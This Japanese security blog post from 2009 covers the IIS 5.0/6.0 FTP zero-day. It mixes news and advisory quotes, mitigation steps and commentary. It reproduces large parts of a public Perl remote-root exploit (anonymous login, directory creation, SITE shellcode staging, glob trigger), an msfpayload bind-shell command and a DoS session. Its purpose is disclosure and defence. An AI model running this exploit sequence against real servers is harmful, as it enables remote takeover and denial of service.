MicrosoftのIISに未解決の脆弱性、エクスプロイトも公開 - ITmedia エンタープライズ(情報元のブックマーク数)

IIS 5.0/6.0のFTPモジュールに未知の脆弱性が存在してExploitが出ているとのこと。

超危険!!!

MicrosoftのInternet Information Services(IIS)に未解決の新たな脆弱性が報告されたとして、SANS Internet Storm CenterやUS-CERTが8月31日付で注意を呼び掛けた。この脆弱性を突くエクスプロイトも公開されたもようだ。
US-CERTによると、脆弱性IISFTPサービスに存在し、悪用されるとリモートで任意のコードを実行される恐れがある。SANSは、セキュリティ研究者がこの脆弱性を突いたエクスプロイトを公開したと伝えている。エクスプロイトはIIS 5.0/6.0のFTPモジュールに対して攻撃を仕掛けることができるという。

MicrosoftのIISに未解決の脆弱性、エクスプロイトも公開 - ITmedia エンタープライズ

FTPIPアドレス制限が一番ですね、、、それもFireWall等で行うほうがよさそうですねぇ。。。

US-CERTは当面の回避策として、FTPサーバへの一部アクセスを制限するなどの対策を検討するよう、管理者に呼び掛けている

MicrosoftのIISに未解決の脆弱性、エクスプロイトも公開 - ITmedia エンタープライズ

SANSでも出ていますが、Milw0rmで出ているそうです。。。

We are aware of a new 0-day exploit that was posted on Milw0rm today.
According the exploit, it was suppose to work on both IIS 5.0 and 6.0, on the FTP module.

InfoSec Handlers Diary Blog - Microsoft IIS 5/6 FTP 0Day released

これか!

# IIS 5.0 FTPd / Remote r00t exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2<at>googlemail.com 
# Affects IIS6 with stack cookie protection 
# August 2009 - KEEP THIS 0DAY PRIV8 
use IO::Socket; 
$|=1; 
#metasploit shellcode, adduser "winown:nwoniw" 

SITEでShellコードをぶっ込んで、PORTを開けてそっちで、ごにょごにょするみたいですねぇ。

$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN"; 
$x = <$sock>; 
print $x;                             
print $sock "USER anonymous\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "PASS anonymous\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "MKD w00t$port\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack) 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>;
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "CWD w00t$port\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "MKD CCC". "$c\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n"; 
$x = <$sock>; 
print $x; 
# TRIGGER 
print $sock "NLST $c*/../C*/\r\n"; 
$x = <$sock>; 
print $x; 

Anonymousもそうですが、簡易なパスワードやGENOウイルスに狙われたサーバも注意

この欠陥を利用するには認証を突破する必要があるが、anonymous FTP してたりするとヤバい。

セキュリティホール memo - 2009.09

匿名ユーザでの書き込み権を無効にしたら、大丈夫なのか???

対策版が公開されるまでの間、以下の回避策を適用することで、本脆弱性の影響を軽減することが可能です。

  • FTP サーバに対して匿名ユーザでの書き込み権限を無効にする
JVNVU#276653: Microsoft Internet Information Services FTP サーバにおけるバッファオーバーフローの脆弱性

別のExploitも出ています、IIS5(Windows2000用のやつです)

#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2<at>googlemail.com 
# Affects IIS6 with stack cookie protection 
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell on port 4444

しかたがない????

# ./msfpayload windows/shell_bind_tcp R | ./msfencode -e x86/shikata_ga_nai -b &quot;\x00\x0a\x0d&quot;

MSからセキュリティアドバイザリが出ていますねぇ。

マイクロソフトMicrosoft Internet Information Services (IIS) 5.0、Microsoft Internet Information Services (IIS) 5.1、Microsoft Internet Information Services (IIS) 6.0 の FTP サービスの脆弱性に関する新たな報告を調査中です。この脆弱性により、影響を受けるシステム上で FTP サービスを稼働させ、インターネットに接続している場合、リモートでコードが実行される可能性があります。

マイクロソフトはインターネット上でこの脆弱性に関する詳細な悪用コードが公開されていることを確認しています。マイクロソフトは現在この悪用コードを使用する攻撃が行なわれていること、または現時点でのお客様への影響は認識していません。しかし、マイクロソフトはこの状況を積極的に監視しながら、お客様に引き続き情報を提供して、必要に応じてガイダンスを提供します。

http://www.microsoft.com/japan/technet/security/advisory/975191.mspx

IPAの情報と一緒ですね、これはMSから情報経由でIPAが書いたってことか。。。

NTFS ファイルシステムのアクセス許可を変更し、FTP ユーザーによるディレクトリ作成を禁止する

管理者は、サーバー上でホスティングされている FTP サイトのルート ディレクトリの NTFS ファイルシステムのアクセス許可を変更して、FTP ユーザーによるディレクトリ作成を禁止する事が可能です。この変更を行っても、FTP ユーザーは既存のディレクトリにファイルをアップロードする事は可能です。
管理者として、以下の手順を実行してユーザー グループから、ディレクトリ作成権限を削除します。FTP ユーザーを管理する、FTP ユーザーまたはカスタム グループを構成している場合、以下のステップ 5 のユーザー グループをカスタム ID に置き換えます。
1.FTP サイトのルート ディレクトリを参照します。既定では、%systemroot%\inetpub\ftproot にあります。
2.選択したサービスを右クリックし、[プロパティ] をクリックします。
3.[セキュリティ] タブで [詳細設定] をクリックします。
4.[ユーザーのアクセス許可の変更] をクリックします。
5.ユーザー グループを選択し、[編集] をクリックします。
6.[フォルダの作成/データの追加] を選択解除します。
回避策の影響: FTP ユーザーは FTP サービスを通して、ディレクトリを作成する事ができなくなります。FTP ユーザーは、FTP サービスを通して、既存のディレクトリにファイルをアップロードする事はできます。
信頼できない匿名ユーザーに、FTP 書き込みアクセスを許可しない
既定で匿名ユーザーには、FTP 書き込みアクセスは許可されていません。FTP サーバー上で、匿名の書き込みアクセスが許可されている場合は、管理者は IIS のアクセス許可を変更し、匿名の書き込みアクセスを禁止する事ができます。信頼されていないユーザーは、FTP 書き込みアクセスが許可されていない限りは、この脆弱性を悪用する事はできません。

匿名ユーザーによるFTP 書き込みアクセスを防止する為には、以下の手順で IIS のアクセス許可を変更します:

1.IIS マネージャーを起動します。
2.既定の FTP サイト] を右クリックし、[プロパティ] を選択します。
3.[ホーム ディレクトリ] タブをクリックします。
4.「書き込み」 が選択解除されている事を確認します。
回避策の影響: FTP でファイルを転送する事はできなくなりますが、WebDAV を使って転送する事は可能です。
"
FTP サービスを無効にする
注意: 詳細情報は、サポート技術情報 975191 をご覧ください。
回避策の影響: FTP サービスが無効になります。

http://www.microsoft.com/japan/technet/security/advisory/975191.mspx

TechNetBlogでも、ログオンして、ディレクトリを作成する権限と明記されていますね。。。

Also, remember that only servers that allow untrusted users to log on and create arbitrary directories are vulnerable.

New vulnerability in IIS5 and IIS6 – Security Research & Defense

NTTData SecurityによるPoC懸賞レポートが出ています。

やはり、ログインできた上、書き込み件が有効になっていたらダメみたいですね。

Windows IISのFTPサービスの脆弱性(CVE-2009-3023)に関する検証レポート

http://www.nttdata-sec.co.jp/article/vulner.html

IIS6と7にも影響あってDoSを受けるみたいだ。

Microsoft has published an advisory on multiple vulnerabilities in the Microsoft FTP services bundled with IIS 5.0, IIS 5.1, IIS 6.0 or IIS 7.0. At this time arbitrary remote code execution only works against IIS 5.0 running on Windows 2000 fully patched. On more recent versions a DoS condition occurs. If you are still running an Internet accessible FTP service you may want to take this opportunity to rethink running it under IIS. For internal instances I might monitor them very closely. One mitigation is to NOT allow anonymous connections (as indicated in the POC circulating on the Internet). Unless the attacker is able to obtain a valid username for the system and modify the exploit... and then DoS can still occur, but complete compromise of the system will not.The DoS takes out all inetinfo processes, including www.There is currently no patch available for these vulnerabilities. The exploit code is available. Take the appropriate precautions.

InfoSec Handlers Diary Blog - Vulnerabilities (plural) in MS IIS FTP Service 5.0, 5.1. 6.0, 7.0

DoSも出たようだ・・・

There is a DoS vulnerability in the globbing functionality of IIS FTPD. 
Anonymous users can exploit this if they have read access to a directory!!! 
Normal users can exploit this too if they can read a directory. 
 
Example session where the anonymous user has read access to the folder &quot;pub&quot;: 
 
C:\Users\Nikolaos&gt;ftp 192.168.2.102 
Verbindung mit 192.168.2.102 wurde hergestellt. 
220 Microsoft FTP Service 
Benutzer (192.168.2.102:(none)): ftp 
331 Anonymous access allowed, send identity (e-mail name) as password. 
Kennwort: 
230 Anonymous user logged in. 
ftp&gt; ls &quot;-R p*/../&quot; 
... 
p*/../pub: 
pub 
... 
p*/../pub: 
pub 
... 
p*/../pub: 
pub 
... 
p*/../pub: 
pub 
... 
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed 
the connection) 
ftp&gt; 
ftp&gt;

関連URL

screenshot